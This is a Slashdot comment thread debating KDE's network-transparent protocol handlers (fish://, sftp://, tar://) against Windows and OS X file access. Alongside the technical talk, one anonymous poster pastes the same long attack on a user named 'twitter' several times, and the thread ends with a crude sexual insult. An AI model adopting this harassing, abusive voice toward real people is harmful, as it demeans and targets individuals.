And the entire Windows OS is decked out with enough user friendliness for most people to use, and, as I put it, 'KDE has a long way to go to catchup with the userfriendliness of Mac OSX and Windows.

That's so insulting.

Want to get specific, you old troll? Studies have shown that there's no significant difference in "usability" when measured in terms of getting things done or user perceptions. When you consider how much more you can get done with KDE out of the box, I'm not sure how anyone could say that Windoze was more usable.

Some obvious improvements to usability from KDE include:

1. A rational program menu, organized by what the program does rather than company name or other obtuse reasoning.
2. A configuration tool that really has everything rationally organized. Windoze places it's configuration tools in a bewildering number of locations that vary unpredictably by version.
3. Really integrated web and file management. KDE's file browser still remembers the split window trick and has tabs. When you combine those two things with sftp, ftp, fish, even crummy windoze networking, you can see how easy it is to move files around. When you combine that with KDE's built in ability to manipulate those files without moving them, you realize you don't even have to move them.
4. KDE's briefcase works. I'm sure, though I don't use it, that it too can use sftp, etc to make sure all is well synced.
5. Kmail and Kontact. Kmail's excellent spam wizard automatically detects installed anti-spam and sets up filtering for you. It also has easy to configure multiple identities, LDAP and all that jazz. KDE's contact database is awesome and comes with excellent Palm/other sync, including many cellphones. OE does not even come with a spell checker.

So there you have it. What exactly does Winblows have to offer the "average" user again? The same user can do all of that and much more with KDE's excellent programs without any additional trouble or cost. Complex != difficult or expensive. The proof is there for anyone who would check out Knoppix, Mepis, etc.

Re:There he goes agian.

[Anonymous Coward]

Moderators: Please note that "twitter" is a known fanatical psycophant whose obnoxious offtopic rants are legend here on Slashdot. It doesn't matter what the topic is, he'll find a way to scrape in some pointless Microsoft bashing. While nobody expects us to love Microsoft in any way, his particularly tepid style of calling anyone he replies to "troll" or "liar" or "fanboy" because he happens to disagree with whatever they're saying is well documented and should not be rewarded. If anything, twitter is the type of person that should not be part of the open source/free software community. He is an anathema to all that is good about free software.

I'm posting this so that you (the moderator) have some context to consider twitter and not mod him up whenever he posts his filler preformatted rants about installing Knoppix or whatever that unfortunately get him karma every single time and allow him to continue posting his trademark toxic crap (read on) day in and day out. You may consider this a troll - I consider it community service. And I ain't kidding.

If you're a /. subscriber, I invite you to look through some of his posting history. I guarantee that you'll be hard pressed to find someone that is more "out there" than twitter. You'll also probably notice he's got quite an AC following. Don't just read his posts, make sure you go through the replies.

To get an idea of what I'm talking about, check this post out. I mean, this is an article about email disclaimers, right? The parent of the post is complaining about the ads in the linked page and so on, and twitter actually goes off on a rant to blame it on Microsoft and recommend Lynx. WTF?

Here's another. In this post twitter not only calls the OP a troll but attempts to "tell it like it is" while making some vague argument about "GNU". Yes, if you're confused, you're not alone. The reply (modded +4) proceeds to simply destroy his bogus argument. You will notice he did not reply. This is what some people call "drive-by advocacy". A sort of I'll just leave you with my thoughts here and move on to the next flamebait kind of deal. In fact, he almost never replies because he knows that his fanatical arguments simply do not hold up to any sort of discussion. It's not that he's chosen the wrong cause - he's just going at it in a completely wrong way.

More? Just read though this post and the subsequent replies. I guess this stands on its own. Or these two. Or this one.

Still not convinced? This is what twitter considers "humour" while going about his daily "M$" routine.

More? Bad spelling in astounding conspiracy theories, more offtopic FUD and uninformed "I'm right, look at me" rants, promptly proven wrong. Worse even, twitter wants to be RMS, apparently (that first one is a winner). I mean,

Re:There he goes agian.

[Anonymous Coward]

Moderators: Please note that "twitter" is a known fanatical sycophant whose obnoxious offtopic rants are legend here on Slashdot. It doesn't matter what the topic is, he'll find a way to scrape in some pointless Microsoft bashing. While nobody expects us to love Microsoft in any way, his particularly tepid style of calling anyone he replies to "troll" or "liar" or "fanboy" because he happens to disagree with whatever they're saying is well documented and should not be rewarded. If anything, twitter is the type of person that should not be part of the open source/free software community. He is an anathema to all that is good about free software.

I'm posting this so that you (the moderator) have some context to consider twitter and not mod him up whenever he posts his filler preformatted rants about installing Knoppix or Mepis or whatever that unfortunately get him karma every single time and allow him to continue posting his trademark toxic crap (read on) day in and day out. You may consider this a troll - I consider it community service. And I ain't kidding.

If you're a /. subscriber, I invite you to look through some of his posting history. I guarantee that you'll be hard pressed to find someone that is more "out there" than twitter. You'll also probably notice he's got quite an AC following. Don't just read his posts, make sure you go through the replies.

To get an idea of what I'm talking about, check this post out. This is an article about email disclaimers. The parent of the post is complaining about the ads in the linked page and so on, and twitter actually goes off on a rant to blame it on Microsoft and recommend Lynx, because "is teh free".

Here's another. In this post twitter not only calls the OP a troll but attempts to "tell it like it is" while making some vague argument about "GNU". Yes, if you're confused, you're not alone. The reply (modded +4) proceeds to simply destroy his bogus argument. You will notice he did not reply. This is what some people call "drive-by advocacy". A sort of I'll just leave you with my thoughts here and move on to the next flamebait kind of deal. In fact, he almost never replies because he knows that his fanatical arguments simply do not hold up to any sort of discussion. It's not that he's chosen the wrong cause - he's just going at it in a completely wrong way.

Here's that drive-by advocacy and FUD in motion: twitter goes on about some topic and then drops the usual "oh and M$ is teh evil" because "WMP phones home" or some such. Called on his FUD, he then claims that WMP stores every song and movie you've ever played in a file, somewhere. Pressed further, he just sort of slithers out of sight, his FUD-spreading complete. This is not about some Microsoft technology that nobody likes anyway; it's about lying for the sake of lying. Way too many of his posts are exactly like this one.

More? Just read though this post and the subsequent replies. I guess this stands on its own. Or these two. Or this one. Or this one.

Still not convinced? This is what twitter considers "humour" while going about his daily "M$" routine.

M

useleful protocols in XP?

[twitter]

The useful protocols are covered in Win(XP) very well, including the most useful (not mentioned in the article) : webdav over https.

Oh wow, I had no idea. Does that mean I can split an IE window and drag and drop remote files to my desktop by sftp? Can I open Word and then use it's file open dialog to manipulate a file on a remote computer via sftp? No? Oh well, at least Windoze users can get at all 1.44MB of information on my floppy real easy. Now that's useful. Sometimes, when there's no macrovirus on the floppy, it's more secure than M$'s webdav (the second link google comes to is a security problem) too. What would anyone expect from something that works through IE. Useful and well implemented, thanks for the tip.

Re:useleful protocols in XP?

[Anonymous Coward]

Moderators: Please note that "twitter" is a known fanatical psycophant whose obnoxious offtopic rants are legend here on Slashdot. It doesn't matter what the topic is, he'll find a way to scrape in some pointless Microsoft bashing. While nobody expects us to love Microsoft in any way, his particularly tepid style of calling anyone he replies to "troll" or "liar" or "fanboy" because he happens to disagree with whatever they're saying is well documented and should not be rewarded. If anything, twitter is the type of person that should not be part of the open source/free software community. He is an anathema to all that is good about free software.

I'm posting this so that you (the moderator) have some context to consider twitter and not mod him up whenever he posts his filler preformatted rants about installing Knoppix or whatever that unfortunately get him karma every single time and allow him to continue posting his trademark toxic crap (read on) day in and day out. You may consider this a troll - I consider it community service. And I ain't kidding.

If you're a /. subscriber, I invite you to look through some of his posting history. I guarantee that you'll be hard pressed to find someone that is more "out there" than twitter. You'll also probably notice he's got quite an AC following. Don't just read his posts, make sure you go through the replies.

To get an idea of what I'm talking about, check this post out. I mean, this is an article about email disclaimers, right? The parent of the post is complaining about the ads in the linked page and so on, and twitter actually goes off on a rant to blame it on Microsoft and recommend Lynx. WTF?

Here's another. In this post twitter not only calls the OP a troll but attempts to "tell it like it is" while making some vague argument about "GNU". Yes, if you're confused, you're not alone. The reply (modded +4) proceeds to simply destroy his bogus argument. You will notice he did not reply. This is what some people call "drive-by advocacy". A sort of I'll just leave you with my thoughts here and move on to the next flamebait kind of deal. In fact, he almost never replies because he knows that his fanatical arguments simply do not hold up to any sort of discussion. It's not that he's chosen the wrong cause - he's just going at it in a completely wrong way.

More? Just read though this post and the subsequent replies. I guess this stands on its own. Or these two. Or this one.

Still not convinced? This is what twitter considers "humour" while going about his daily "M$" routine.

More? Bad spelling in astounding conspiracy theories, more offtopic FUD and uninformed "I'm right, look at me" rants, promptly proven wrong. Worse even, twitter wants to be RMS, apparently (that first one is a winner). I mean,

Re:useleful protocols in XP?

[can-o-worms]

Windows doesn't even have ssh, the only people that think windows has everything you is need is the people that have only ever used Windows.

Re:useleful protocols in XP?

[Anonymous Coward]

stupid little twitter

Re:useleful protocols in XP?

[Anonymous Coward]

Hey buddy boy

By default no sftp handler. Yes.
By default, ftp handler. Yes but insecure.
By default, drag/drop an IE window to desktop via ftp handler. Yes. Just done it.
By default, use Word to open and save files to a remote ftp server using the ftp hander. Yes. Just done that.

So actually try something before you post lame, moronic comment.

Re:useleful protocols in XP?

[JBdH]

I was talking about webdav over httpS. The link with the security problem you posted is about a vulnerability of webDAV in IIS, which is indeed a shitty product. Furthermore I do not see what sftp has got to do with anything. Also I'm not talking of IE in any sense. End users can use webdav over https in windows explorer, just like they would use local files. This cannot be done for example in OSX, natively that is. Can it be done in KDE?

You are getting too slow

[Anonymous Coward]

Hey asshole, a good 25 minutes passed before you trolled twitter with your cut and past. That's way below Microsoft Standards. You are fired, go get a job with VB or burger flipping.

-William Gates.

Re:You are getting too slow

[Anonymous Coward]

"William Gates"? HAHAHA!!! Wait - are you saying Microsoft is stalking you? HAHAHAH!!!

Or are you expecting me to believe this is actually someone else? You changed the subject of the message as always and used the same kindergarted grammar and spelling you seem so fond of. This won't do. You need to try harder.

Re:You are getting too slow

[Anonymous Coward]

kindergarted??? You need to come off those drugs.

tar slash dot

[TrevorB]

...protocol handlers in the vein of sftp:// webdav:// and a few really nifty ones I wasn't aware of like info:/ perldoc:/ and tar:/. \

tar:/. eh?

Can I get feather:/. too?

You missed the point.

[cbreaker]

It's garbage because it's off topic and very typical of a Mac zealot to say something like that.

I admit, you don't sound quite as unresonable as some Zealots, but you did post that just the same. The article nor slashdot post wasn't about usability, it was about resource transparency.

And to proclaim that KDE is "ugly and clunky compared to OS X or even windows" - such an objective thing say that you can't just preach it like it's fact. Personally, I feel too confined in OS X. It's okay I guess, and I like the shadows under the windows, but I find the interface to be unyeilding and stubborn. KDE is prettier then Windows I think, and it functions very similar to Windows. And I think the Windows UI is very usable, it works for me.

Just because your preference is MacOS doesn't mean that KDE or Gnome are worse.

My KDE desktop is clean, it's fast, and very accessable. I really don't see how I can ask for much more than that at this point? The rest is on the horizon, and with the rate that OSS progresses it won't be long before there's no more arguement against it.

Re:OS X has a long way to go to catch up? and

[PitaBred]

...you're an idiot. Go read the article. This isn't about applications using handlers, it's being able to access things through a secure, universal scheme rather than having to re-implement their own POP3 or IMAP or SFTP or whatever protocol handler.

Transparent huh?

[Lee_in_KC]

"'Microsoft Windows and Mac OS X have a long way to go to catch up with the robust, transparent functionality that KDE has provided since version 2.0.'"

Is that the same sort of "transparent functionality" that everyone here slams Microsoft for? You know, the one that prevents removing IE because Explorer is part of the desktop?

I can't wait till the first vulnerability makes use of all that "transparent functionality". That will just be another submission I make that won't be accepted.......

It isn't only for KDE applications

[fred87]

http://kde.ground.cz/tiki-index.php?page=KIO+Fuse+ Gateway

Re: Coding UI with Windows API

[Anonymous Coward]

Get out of the 1990's, its called .NET

Re:Aren't there potential security issues with the

[EnderWiggin99]

No, because "we" did it right.

Saving, on the other hand...

[Anonymous Coward]

Windows' handling of ftp:// would be much more impressive if I could actually save the files I opened, though.

Saving?

[Anonymous Coward]

Neat and all, but can you tell me how I save onto ftp:// ?

Re:Saving?

[spectecjr]

Hmm... good point.

Re:Saving?

[Anonymous Coward]

I've just tried this in File-Save As in Word.

Type as the filename.

ftp://user:password@server.com/home/dir/test.doc

Works like a charm. Doing that in Explorer buggers up slightly because I switched Explorer View off in IE for FTP sites.

Re:OS X has a long way to go to catch up? and

[Anonymous Coward]

How can anybody who begins his article with "you're an idiot" get modded UP?

Robust, transparent functionality...

[mr-soul]

...like that provided with emacs ?
KDE's almost caught up!

Uhh.. what are you talking about?

[sudog]

Windows already has URL handler extensions.. why do you think cutting&pasting ed2k:// links work for Windows users?

Are you kidding me?

[Frobozz0]

"The entire KDE desktop environment is decked out like this, and as George puts it, 'Microsoft Windows and Mac OS X have a long way to go to catch up with the robust, transparent functionality that KDE has provided since version 2.0.'"

LOL. Is this guy serious? Mac OS X has a long way to catch up with a rag tag open development project? I'm sorry, but some times the lure of open source really clouds the judgement of some people.

Re:Are you kidding me?

[sprouty76]

Try it. Then your opinion of which is better may actually mean something.

Re:Are you kidding me?

[Quixotic Raindrop]

I've tried it. KDE, just about every version since 1.1 (still have my "Learning KDE 1.1 in 24 hours" book, in fact, which started me off). Mac OS, from System 6.0.8 through 10.2.8. And Windows from 3.1 on up.

KDE significantly lags behind OS X in integration, ease-of-use, and utility, IMO. It falls behind most versions of Windows for integration, although I think it works better overall as a UI and in my experience is way more stable, even when just considering KDE vs. Windows and not Linux as a whole vs. Windows. In my ever-so-unhumble opinion, OS X is light-years ahead of KDE, GNOME, and Windows in all important respects.

YMM(and probably will)V.

Re:Are you kidding me?

[10Ghz]

We were talking about networks-transparency, not "integration" or some other thing you mention. So what the hell are you blathering about?

And OS X is not the Holy Grail of OS'es. Sure, it's nice, but it's not some Uber-OS some Mac-heads make it out to be.

What kind of shortfalls do you see in KDE's "integration"? Or how about "utility"? Please co tell, I'm just dying to know! And how does KDE lag behind Windows in "integration"?

Not sure about that...

[robotoverflow]

I have a bit of a problem with only remembering the bad, so when I get sick of the Window Manager or App that's currently annoying the crap outta me I usually switch back to the worse alternative, forgetting all the reasons as to why I stopped using it in the first place.

One thing that got me a few weeks ago was how inconsistant the UIs of Windows and OS X are when you're using a broad enough range of different Apps. They still look mighty pretty with the right theme, but when it comes to consistancy they're not lightyears in front of GNOME or KDE any more. Both projects have played catch up very well.

Should KDE implement OS features?

[Wesley Felter]

Apple has the privilege of only having one VFS layer. There is no such single layer that KDE could rely upon, since it runs on quite a few distinct operating systems.

In my mind there are two ways to look at it. You've presented one way: KDE must have this feature, and if the OSes won't provide it, then KDE must provide it in some suboptimal way.

The alternate approach is to say that mounting a fish or whatever is a feature that belongs in the OS, and if a particular OS supports it, then KDE will get that for free. If an OS doesn't support it, then KDE won't have that feature when running on that OS.

More neat ones.

[grahamsz]

While fish is by far my favorite... i also like.

kamera://Canon Powershot 200/IMG_0243.JPG - i can attach it straight to an email from the camera. Not to mention i can run kuickshow to do slideshows straight from the camera like it were a local disk.

tar://somefile.tar.gz/contents - look write inside tar files

Re:More neat ones.

[strider44]

They just had to make it kamera didn't they?

Re:More neat ones.

[pmjordan]

'Kamera' is the application/library that provides that functionality, which is why the protocol has the same name. But yeah, the applications must use K. :)

~phil

Re:More neat ones.

[Anonymous Coward]

Well, camera means "room", not "camera" in several european languages (same root as "chamber"). and photoapparat:// would be confusing for some others...

Re:More neat ones.

[strider44]

does putting a 'k' at the front of the name make it clearer for europeans?

Re:More neat ones.

[ravenlock]

I think you meant to say 'klearer'

Re:More neat ones.

[strider44]

lol I'm sorry benevolant leader :P. I'm soon going to get sick of the letter k using KDE - it hasn't happened over the past year but I'm sure it will happen!

Re:More neat ones.

[DickBreath]

They just had to make it kamera didn't they?

Were you expecting a different Gnaming Gonvention?

Re:More neat ones.

[ravenlock]

After a bunch of KIsos, Konquerors, Kasablancas, Karbons and so forth, you sort of grow numb to it :P

Exactly why am I not allowed to dislike something?

[Nailer]

The phrase 'hater' is a childish one.

Nobody is saying this stuff isn't useful, they're saying it's useful enough that you'd want to make it available for all apps, rather than just those that use KDE.

This should be a FDo project, not a KDE one.

It's the best.

[bsander]

This is indeed a wonderful feature of KDE, just yesterday I discovered someone created a rio600:/ kioslave which allowes me to easily drag and drop music to my player through konqueror. The best thing about this package is that it works on top of a command line program rioutil, but it's so transparent you won't even notice. I love it.
It also allows me to edit text files directly on a remote ftp server, without having to go through the usual and annoying download-edit-upload-test-process. Just save and (in my case, for web development) refresh the page in your browser.

Re: fish:// RULES!!!

[Anonymous Coward]

fish://user@host is the KDE feature that I use the most. It is easy, gets the job done, and I can use the protocol with any KDE program (like Quanta Plus - web dev tool)! If you have ssh access, use fish in place of webdav or sftp.

tar:/ is a nice feature also.

Yes, you can

[headLITE]

...only you need to run it through kioexec, example: "kioexec cat http://slashdot.org/" or similar.

Actually

[Illissius]

KDE is rather configurable. Want the menubar in the app under the titlebar, like Windows? Fine. Want it at the top of the screen all the time, like MacOS? You can do that, too. You can configure what sort of clicks in which areas of the window do what with regards to window management (eg doubleclick the titlebar to shade, or to maximize, etc.). That's just two examples, but pretty much all of KDE is like this. It's the epitome of 'highly configurable, with sane defaults'.

Re:Actually

[SirTalon42]

You can also change to the OS X style 'maximize' (vertical only), or the windows way (vertical and horizontal), or horizontal only.

KDE is often criticized for offering too much customizable.

yes it's native.

[twitter]

Also I'm not talking of IE in any sense. End users can use webdav over https in windows explorer, just like they would use local files. This cannot be done for example in OSX, natively that is. Can it be done in KDE?

What's the difference between Windows Explorer and Internet Explorer? I thought they were the same thing and something to be avoided.

Manipulation of remote files via sftp as if they were local is exactly what Konqueror does. That, combined with horizontal and vertically split windows makes it very easy to inspect and move files securely around your network or the world. Having the same capabilities in other dialogs makes it easy to do the same thing from within KDE applications. Yes, that's a native and default behavior.

The coolest thing about it is that it's all there by default with the average distro and there is no additional set up work required. Every machine on your network and every user has it if you use any modern distro. Webdav sounds interesting, but less flexible and more laborious.

Re:yes it's native.

[Anonymous Coward]

What's the difference between Windows Explorer and Internet Explorer? I thought they were the same thing

Since it's now confirmed that you have absolutely no fucking clue what you're talking about, I suggest you shut the fuck up, mkay?

supply and demand

[twitter]

Anyone in the open source community could write APPs for Windows to add this kind of functionality if there were a demand for it, so I suspect there's little or no demand for it.

People have, to one extent or another. Putty has the rudiments of ssh for Windoze. It's hard, however, for them to make a file opener for something dumb like Word or have their services work transparently with Windoze Exploder.

It's not that there's not a demand for these services, it's that the demand has been met outside of Windoze. Microsoft has been so hostile towards all other developers and their own customers that there are few people willing to port stuff into their legacy junk.

Re:supply and demand

[Anonymous Coward]

Moderators: Please note that "twitter" is a known fanatical sycophant whose obnoxious offtopic rants are legend here on Slashdot. It doesn't matter what the topic is, he'll find a way to scrape in some pointless Microsoft bashing. While nobody expects us to love Microsoft in any way, his particularly tepid style of calling anyone he replies to "troll" or "liar" or "fanboy" because he happens to disagree with whatever they're saying is well documented and should not be rewarded. If anything, twitter is the type of person that should not be part of the open source/free software community. He is an anathema to all that is good about free software.

I'm posting this so that you (the moderator) have some context to consider twitter and not mod him up whenever he posts his filler preformatted rants about installing Knoppix or Mepis or whatever that unfortunately get him karma every single time and allow him to continue posting his trademark toxic crap (read on) day in and day out. You may consider this a troll - I consider it community service. And I ain't kidding.

If you're a /. subscriber, I invite you to look through some of his posting history. I guarantee that you'll be hard pressed to find someone that is more "out there" than twitter. You'll also probably notice he's got quite an AC following. Don't just read his posts, make sure you go through the replies.

To get an idea of what I'm talking about, check this post out. This is an article about email disclaimers. The parent of the post is complaining about the ads in the linked page and so on, and twitter actually goes off on a rant to blame it on Microsoft and recommend Lynx, because "is teh free".

Here's another. In this post twitter not only calls the OP a troll but attempts to "tell it like it is" while making some vague argument about "GNU". Yes, if you're confused, you're not alone. The reply (modded +4) proceeds to simply destroy his bogus argument. You will notice he did not reply. This is what some people call "drive-by advocacy". A sort of I'll just leave you with my thoughts here and move on to the next flamebait kind of deal. In fact, he almost never replies because he knows that his fanatical arguments simply do not hold up to any sort of discussion. It's not that he's chosen the wrong cause - he's just going at it in a completely wrong way.

Here's that drive-by advocacy and FUD in motion: twitter goes on about some topic and then drops the usual "oh and M$ is teh evil" because "WMP phones home" or some such. Called on his FUD, he then claims that WMP stores every song and movie you've ever played in a file, somewhere. Pressed further, he just sort of slithers out of sight, his FUD-spreading complete. This is not about some Microsoft technology that nobody likes anyway; it's about lying for the sake of lying. Way too many of his posts are exactly like this one.

More? Just read though this post and the subsequent replies. I guess this stands on its own. Or these two. Or this one. Or this one.

Still not convinced? This is what twitter considers "humour" while going about his daily "M$" routine.

M

boot times, compairison and solution

[twitter]

Don't boot, that's the answer. I don't even bother turning off my laptops anymore. APM or ACPI deamons turn off most of the system so they don't consume much power but they also don't take much time to come back up.

If you insist on powering down and you want your desktop to come up a little faster, run Window Maker or Fluxbox. You can still run all your KDE stuff in them.

Booting is only a problem on systems that require you to turn your computer off regularly. Windoze, which goes unstable in a day or two, is one of the worst offenders. I waste much less time sitting down at systems that are exactly as I left them, with my work neatly laid out in multiple virtual desktops, and connections to other computers live and well. I can contrast this with time wasted on a daily boot of Windoze 2000 and launching of five or six applications to look up stuff that I need and the time to remember what the heck I was doing the day before. Loaded down with AV and other corporate junk, it would take five or ten minutes to boot and I'd spend the time getting coffee. The lost placekeeping took much longer to recover. I don't even want to think about what a PITA it was to arrange any of that work on w2k's crappy little single screen GUI, that was more waste.

Re:boot times, compairison and solution

[Anonymous Coward]

Moderators: Please note that "twitter" is a known fanatical sycophant whose obnoxious offtopic rants are legend here on Slashdot. It doesn't matter what the topic is, he'll find a way to scrape in some pointless Microsoft bashing. While nobody expects us to love Microsoft in any way, his particularly tepid style of calling anyone he replies to "troll" or "liar" or "fanboy" because he happens to disagree with whatever they're saying is well documented and should not be rewarded. If anything, twitter is the type of person that should not be part of the open source/free software community. He is an anathema to all that is good about free software.

I'm posting this so that you (the moderator) have some context to consider twitter and not mod him up whenever he posts his filler preformatted rants about installing Knoppix or Mepis or whatever that unfortunately get him karma every single time and allow him to continue posting his trademark toxic crap (read on) day in and day out. You may consider this a troll - I consider it community service. And I ain't kidding.

If you're a /. subscriber, I invite you to look through some of his posting history. I guarantee that you'll be hard pressed to find someone that is more "out there" than twitter. You'll also probably notice he's got quite an AC following. Don't just read his posts, make sure you go through the replies.

To get an idea of what I'm talking about, check this post out. This is an article about email disclaimers. The parent of the post is complaining about the ads in the linked page and so on, and twitter actually goes off on a rant to blame it on Microsoft and recommend Lynx, because "is teh free".

Here's another. In this post twitter not only calls the OP a troll but attempts to "tell it like it is" while making some vague argument about "GNU". Yes, if you're confused, you're not alone. The reply (modded +4) proceeds to simply destroy his bogus argument. You will notice he did not reply. This is what some people call "drive-by advocacy". A sort of I'll just leave you with my thoughts here and move on to the next flamebait kind of deal. In fact, he almost never replies because he knows that his fanatical arguments simply do not hold up to any sort of discussion. It's not that he's chosen the wrong cause - he's just going at it in a completely wrong way.

Here's that drive-by advocacy and FUD in motion: twitter goes on about some topic and then drops the usual "oh and M$ is teh evil" because "WMP phones home" or some such. Called on his FUD, he then claims that WMP stores every song and movie you've ever played in a file, somewhere. Pressed further, he just sort of slithers out of sight, his FUD-spreading complete. This is not about some Microsoft technology that nobody likes anyway; it's about lying for the sake of lying. Way too many of his posts are exactly like this one.

More? Just read though this post and the subsequent replies. I guess this stands on its own. Or these two. Or this one. Or this one.

Still not convinced? This is what twitter considers "humour" while going about his daily "M$" routine.

M

That's the way KDE works.

[twitter]

Usually, I find a way to do what I want easily and with a local copy, and I do it that way.

That's the way it really works but it's mostly transparent to you. When you open something with sftp://filename, it really makes a local copy to /var/tmp/kdecache-username/krun/number_filename. If, you have really sad networking, you don't lose your work. When you close the editor, the changed file is coppied back to the sftp location. In theory, any application can do the same thing when the file is launched from Konqueror. The advantages of this over ssh -X are speed, for small files, and some network toughness. The disadvantages are that you have to have an editor on your local machine and do without the processing power of many computers.

At home, I use ssh -X so that I get processing speed and a wider choice of applications from machines that are customized to various tasks. Coppies of work are stored on my cable gateway. When I'm away from home, I use Konqueror to get those coppies in a secure and editable way. For the rest of the world, and those times I'm forced to use Windoze, I run a http server for read only access to the same information.

Re:That's the way KDE works.

[Anonymous Coward]

Moderators: Please note that "twitter" is a known fanatical sycophant whose obnoxious offtopic rants are legend here on Slashdot. It doesn't matter what the topic is, he'll find a way to scrape in some pointless Microsoft bashing. While nobody expects us to love Microsoft in any way, his particularly tepid style of calling anyone he replies to "troll" or "liar" or "fanboy" because he happens to disagree with whatever they're saying is well documented and should not be rewarded. If anything, twitter is the type of person that should not be part of the open source/free software community. He is an anathema to all that is good about free software.

I'm posting this so that you (the moderator) have some context to consider twitter and not mod him up whenever he posts his filler preformatted rants about installing Knoppix or Mepis or whatever that unfortunately get him karma every single time and allow him to continue posting his trademark toxic crap (read on) day in and day out. You may consider this a troll - I consider it community service. And I ain't kidding.

If you're a /. subscriber, I invite you to look through some of his posting history. I guarantee that you'll be hard pressed to find someone that is more "out there" than twitter. You'll also probably notice he's got quite an AC following. Don't just read his posts, make sure you go through the replies.

To get an idea of what I'm talking about, check this post out. This is an article about email disclaimers. The parent of the post is complaining about the ads in the linked page and so on, and twitter actually goes off on a rant to blame it on Microsoft and recommend Lynx, because "is teh free".

Here's another. In this post twitter not only calls the OP a troll but attempts to "tell it like it is" while making some vague argument about "GNU". Yes, if you're confused, you're not alone. The reply (modded +4) proceeds to simply destroy his bogus argument. You will notice he did not reply. This is what some people call "drive-by advocacy". A sort of I'll just leave you with my thoughts here and move on to the next flamebait kind of deal. In fact, he almost never replies because he knows that his fanatical arguments simply do not hold up to any sort of discussion. It's not that he's chosen the wrong cause - he's just going at it in a completely wrong way.

Here's that drive-by advocacy and FUD in motion: twitter goes on about some topic and then drops the usual "oh and M$ is teh evil" because "WMP phones home" or some such. Called on his FUD, he then claims that WMP stores every song and movie you've ever played in a file, somewhere. Pressed further, he just sort of slithers out of sight, his FUD-spreading complete. This is not about some Microsoft technology that nobody likes anyway; it's about lying for the sake of lying. Way too many of his posts are exactly like this one.

More? Just read though this post and the subsequent replies. I guess this stands on its own. Or these two. Or this one. Or this one.

Still not convinced? This is what twitter considers "humour" while going about his daily "M$" routine.

M

Re:OS X has a long way to go to catch up? and

[ZackSchil]

Well, I guess mac OS X doesn't have a framework called URL Mount that lets you hit command-shift-g in any standard (or non-standard if you do things right) open or save box and type a URL beginning with smb, ftp, afp, etc and let you save files there. It's good that hitting command-shift-k doesn't bring up a listing of local servers you can open and save documents to as if they were local. It's good that ssh:// and telnet:// and sftp:// were all in my head. The ability to add new protocols and file systems is there too. Not quite sure how imap:// would work but if you know, please tell me. Oh, you want to talk about using certain local abilities like CD encoding transparently in your apps? Why don't look at the quicktime framework, free for any app to use. You wanted to do it via URL? Why? That doesn't even make sense, especially if it's for developer use. Messages offer way more flexibility. I guess if you wanted you could add functionality to the audo CD framework so that copying files didn't result in AIFFs but MP3s, but that seams like a really bloatware-ish idea. Oh, and this is always helpful in OS X too. x-man-page:chmod

Re:OS X has a long way to go to catch up? and

[ZackSchil]

Slashdot butchered that last link: Chmod Man page

Re:OS X has a long way to go to catch up? and

[Anonymous Coward]

What trash. It strips the slashes.

x-man-page://chmod

Twitter: Life and times of a petulant cock-gobbler

[Anonymous Coward]

Twitter, you're a petulant cock-gobbling sycophant to Linux Torvaldyos! Quit taking DP from ESR and RMS's feculent cocks and why don't you try to stop sucking quite so much? Get out of your parents' basement and see the real world - maybe then you'll see how pathetic you sound, with your neverending stream of bullshit about how Microsoft is stalking you. Wasn't it you who said that Microsoft believes your insane ranting is actually a threat to them, so they PAY PEOPLE to reply to you on Slashdot? No sir, I don't get any money. I do it for the love. Someone has to go up against your paranoid whining. So get back in your cage and shut the fuck up already.